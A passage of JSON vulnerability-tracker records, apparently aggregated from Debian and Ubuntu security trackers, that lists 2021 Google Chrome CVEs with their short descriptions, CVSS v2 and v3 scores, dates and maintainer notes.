"obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], "modified": "2021-11-23T22:15:00", "id": "DEBIANCVE:CVE-2021-38003", "href": "https://security-tracker.debian.org/tracker/CVE-2021-38003", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-22T10:54:02", "description": "Heap buffer overflow in V8 in Google Chrome prior to 88.0.4324.150 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-09T16:15:00", "type": "debiancve", "title": "CVE-2021-21148", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-09T16:15:00", "id": "DEBIANCVE:CVE-2021-21148", "href": "https://security-tracker.debian.org/tracker/CVE-2021-21148", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-22T10:54:03", "description": "Type confusion in V8 in Google Chrome prior to 91.0.4472.101 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-15T22:15:00", "type": "debiancve", "title": "CVE-2021-30551", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2021-06-15T22:15:00", "id": "DEBIANCVE:CVE-2021-30551", "href": "https://security-tracker.debian.org/tracker/CVE-2021-30551", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-22T10:54:04", "description": "Use after free in V8 in Google Chrome prior to 94.0.4606.71 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-08T22:15:00", "type": "debiancve", "title": "CVE-2021-37975", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2021-10-08T22:15:00", "id": "DEBIANCVE:CVE-2021-37975", "href": "https://security-tracker.debian.org/tracker/CVE-2021-37975", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-22T10:54:04", "description": "Inappropriate implementation in Memory in Google Chrome prior to 94.0.4606.71 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.6}, "published": "2021-10-08T22:15:00", "type": "debiancve", "title": "CVE-2021-37976", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37976"], "modified": "2021-10-08T22:15:00", "id": "DEBIANCVE:CVE-2021-37976", "href": "https://security-tracker.debian.org/tracker/CVE-2021-37976", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-03-22T10:54:04", "description": "Insufficient validation of untrusted input in Intents in Google Chrome on Android prior to 95.0.4638.69 allowed a remote attacker to arbitrarily browser to a malicious URL via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2021-11-23T22:15:00", "type": "debiancve", "title": "CVE-2021-38000", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38000"], "modified": "2021-11-23T22:15:00", "id": "DEBIANCVE:CVE-2021-38000", "href": "https://security-tracker.debian.org/tracker/CVE-2021-38000", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "ubuntucve": [{"lastseen": "2023-02-03T13:29:42", "description": "Use after free in Web Transport in Google Chrome prior to 95.0.4638.69\nallowed a remote attacker to potentially perform a sandbox escape via a\ncrafted HTML page.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-11-23T00:00:00", "type": "ubuntucve", "title": "CVE-2021-38002", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38002"], "modified": "2021-11-23T00:00:00", "id": "UB:CVE-2021-38002", "href": "https://ubuntu.com/security/CVE-2021-38002", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T13:37:36", "description": "Use after free in Blink in Google Chrome prior to 89.0.4389.128 allowed a\nremote attacker to potentially exploit heap corruption via a crafted HTML\npage.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-26T00:00:00", "type": "ubuntucve", "title": "CVE-2021-21206", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21206"], "modified": "2021-04-26T00:00:00", "id": "UB:CVE-2021-21206", "href": "https://ubuntu.com/security/CVE-2021-21206", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T13:35:13", "description": "Use after free in WebGL in Google Chrome prior to 91.0.4472.114 allowed a\nremote attacker to potentially exploit heap corruption via a crafted HTML\npage.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-02T00:00:00", "type": "ubuntucve", "title": "CVE-2021-30554", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30554"], "modified": "2021-07-02T00:00:00", "id": "UB:CVE-2021-30554", "href": "https://ubuntu.com/security/CVE-2021-30554", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T13:39:14", "description": "Use after free in Blink in Google Chrome prior to 89.0.4389.90 allowed a\nremote attacker to potentially exploit heap corruption via a crafted HTML\npage.\n\n#### Bugs\n\n * <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=985142>\n\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-03-16T00:00:00", "type": "ubuntucve", "title": "CVE-2021-21193", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21193"], "modified": "2021-03-16T00:00:00", "id": "UB:CVE-2021-21193", "href": "https://ubuntu.com/security/CVE-2021-21193", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T13:34:12", "description": "Type Confusion in V8 in Google Chrome prior to 91.0.4472.164 allowed a\nremote attacker to potentially exploit heap corruption via a crafted HTML\npage.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-03T00:00:00", "type": "ubuntucve", "title": "CVE-2021-30563", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30563"], "modified": "2021-08-03T00:00:00", "id": "UB:CVE-2021-30563", "href": "https://ubuntu.com/security/CVE-2021-30563", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T13:37:37", "description": "Type confusion in V8 in Google Chrome prior to 90.0.4430.85 allowed a\nremote attacker to execute arbitrary code inside a sandbox via a crafted\nHTML page.\n\n#### Bugs\n\n * <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=987358>\n\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-26T00:00:00", "type": "ubuntucve", "title": "CVE-2021-21224", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21224"], "modified": "2021-04-26T00:00:00", "id": "UB:CVE-2021-21224", "href": "https://ubuntu.com/security/CVE-2021-21224", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T13:37:32", "description": "Insufficient validation of untrusted input in V8 in Google Chrome prior to\n89.0.4389.128 allowed a remote attacker to potentially exploit heap\ncorruption via a crafted HTML page.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-26T00:00:00", "type": "ubuntucve", "title": "CVE-2021-21220", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21220"], "modified": "2021-04-26T00:00:00", "id": "UB:CVE-2021-21220", "href": "https://ubuntu.com/security/CVE-2021-21220", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T13:31:04", "description": "Use after free in Portals in Google Chrome prior to 94.0.4606.61 allowed a\nremote attacker who had compromised the renderer process to potentially\nperform a sandbox escape via a crafted HTML page.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap \n[sbeattie](<https://launchpad.net/~sbeattie>) | active exploitation in the wild\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-10-08T00:00:00", "type": "ubuntucve", "title": "CVE-2021-37973", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37973"], "modified": "2021-10-08T00:00:00", "id": "UB:CVE-2021-37973", "href": "https://ubuntu.com/security/CVE-2021-37973", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T13:29:42", "description": "Inappropriate implementation in V8 in Google Chrome prior to 95.0.4638.69\nallowed a remote attacker to potentially exploit heap corruption via a\ncrafted HTML page.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-23T00:00:00", "type": "ubuntucve", "title": "CVE-2021-38003", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], "modified": "2021-11-23T00:00:00", "id": "UB:CVE-2021-38003", "href": "https://ubuntu.com/security/CVE-2021-38003", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T13:40:37", "description": "Heap buffer overflow in V8 in Google Chrome prior to 88.0.4324.150 allowed\na remote attacker to potentially exploit heap corruption via a crafted HTML\npage.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-09T00:00:00", "type": "ubuntucve", "title": "CVE-2021-21148", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-09T00:00:00", "id": "UB:CVE-2021-21148", "href": "https://ubuntu.com/security/CVE-2021-21148", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T13:35:35", "description": "Type confusion in V8 in Google Chrome prior to 91.0.4472.101 allowed a\nremote attacker to potentially exploit heap corruption via a crafted HTML\npage.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-15T00:00:00", "type": "ubuntucve", "title": "CVE-2021-30551", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2021-06-15T00:00:00", "id": "UB:CVE-2021-30551", "href": "https://ubuntu.com/security/CVE-2021-30551", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T13:31:03", "description": "Inappropriate implementation in Memory in Google Chrome prior to\n94.0.4606.71 allowed a remote attacker to obtain potentially sensitive\ninformation from process memory via a crafted HTML page.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": 